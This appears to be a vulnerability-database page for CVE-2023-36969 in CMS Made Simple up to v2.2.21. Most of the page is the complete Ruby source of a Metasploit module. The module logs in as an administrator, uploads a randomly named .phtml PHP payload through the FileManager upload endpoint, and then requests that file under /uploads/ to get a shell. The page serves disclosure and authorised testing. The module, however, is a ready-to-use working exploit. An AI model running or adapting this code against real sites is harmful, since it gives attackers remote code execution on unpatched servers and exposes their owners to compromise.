METASPLOIT 8.8 HIGH

CmsMadeSimple Authenticated File Manager RCE_MSF:EXPLOIT-MULTI-HTTP-CMSMS_FILE_MANAGER_AUTH_RCE-

8.8 / 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

CMS Made Simple <= v2.2.21 allows an authenticated administrator to upload files with the .phar or .phtml extensions, enabling execution of PHP code ...
Visit Original Source

Basic Information

ID MSF:EXPLOIT-MULTI-HTTP-CMSMS_FILE_MANAGER_AUTH_RCE-
Published Aug 29, 2025 at 18:53
Modified Mar 28, 2025 at 18:50

Affected Product

Affected Versions ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'CmsMadeSimple Authenticated File Manager RCE',
'Description' => %q{
CMS Made Simple <= v2.2.21 allows an authenticated administrator to upload files
with the .phar or .phtml extensions, enabling execution of PHP code
leading to RCE. The file can be executed by accessing its URL in the
/uploads/ directory.

Tested on v2.2.21, v2.2.18, v2.2.17, v2.2.16, v2.2.15, v2.2.14.
},
'License' => MSF_LICENSE,
'Author' => [
'Okan Kurtuluş', # Initial research
'Mirabbas Ağalarov', # EDB PoC
'tastyrice' # Metasploit Module
],
'References' => [
['CVE', '2023-36969'],
['EDB', '51600']
],
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [
[
'Universal', {}
]
],
'Privileged' => false,
'DisclosureDate' => '2023-06-07',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options(
[
OptString.new('TARGETURI', [true, 'Base directory path for cmsms', '/']),
OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
]
)
end

def multipart_form_data(uri, data, message)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', uri),
'method' => 'POST',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{message.bound}",
'keep_cookies' => true
)
end

def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '', 'index.php'),
'method' => 'GET'
)
unless res && res.code == 200
vprint_error('Connection Failed')
return CheckCode::Unknown
end

set_cookie = res.get_cookies
return CheckCode::Safe unless set_cookie&.match?(/^CMSSESSID/)

html = res.get_html_document
version = Rex::Version.new(html.at('p.copyright-info').text.scan(/\d+\.\d+\.\d+/).first)
vprint_status("#{peer} - CMS Made Simple Version: #{version}")

return CheckCode::Appears if version <= Rex::Version.new('2.2.21')

CheckCode::Detected
end

def login
data = {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'loginsubmit' => 'Submit'
}
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'),
'method' => 'POST',
'vars_post' => data,
'keep_cookies' => true
)
fail_with(Failure::NoAccess, 'Authentication was unsuccessful') unless res&.code == 302 && cookie_jar.cookies && res.headers['Location'] =~ %r{/admin$}

store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
vprint_good("#{peer} - Authentication was successful")
end

def send_file
filename = "#{rand_text_alpha(8..12)}.phtml"
c = cookie_jar.cookies.find { |cookie| cookie.name == '__c' }.value
payload = get_write_exec_payload(unlink_self: true)

# create the message with payload
message = Rex::MIME::Message.new
message.add_part('FileManager,m1_,upload,0', nil, nil, 'form-data; name="mact"')
message.add_part(c, nil, nil, 'form-data; name="__c"')
message.add_part('1', nil, nil, 'form-data; name="disable_buffer"')
message.add_part(payload, nil, nil, "form-data; name=\"m1_files[]\"; filename=\"#{filename}\"")
data = message.to_s

# send payload
payload_res = multipart_form_data('moduleinterface.php', data, message)
fail_with(Failure::UnexpectedReply, 'Failed to upload the file') unless payload_res && payload_res.code == 200
vprint_good("#{peer} - File uploaded #{filename}")

# open shell
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'uploads', filename),
'method' => 'GET'
)
return unless res && res.code == 404

print_error("Shell #{shell_name} not found")
end

def exploit
login
send_file
end
end

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.